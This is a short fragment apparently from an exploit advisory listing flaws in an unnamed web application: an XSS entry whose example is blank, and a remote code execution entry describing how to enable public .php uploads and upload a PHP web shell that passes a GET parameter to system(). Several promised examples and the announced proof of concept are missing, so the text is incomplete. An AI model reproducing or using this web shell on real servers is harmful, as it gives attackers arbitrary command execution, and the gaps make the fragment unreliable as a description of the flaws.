ii) XSS:

ex., in title core item type:



iii) remote code execution:

modify settings to activate public uploads of .php files
upload a file like this:

<?php error_reporting(0); ini_set("max_execution_time",0);
echo "Hi Master\r\n"; system($HTTP_GET_VARS[cmd]); ?>

then launch commands:


this is my poc exploit:
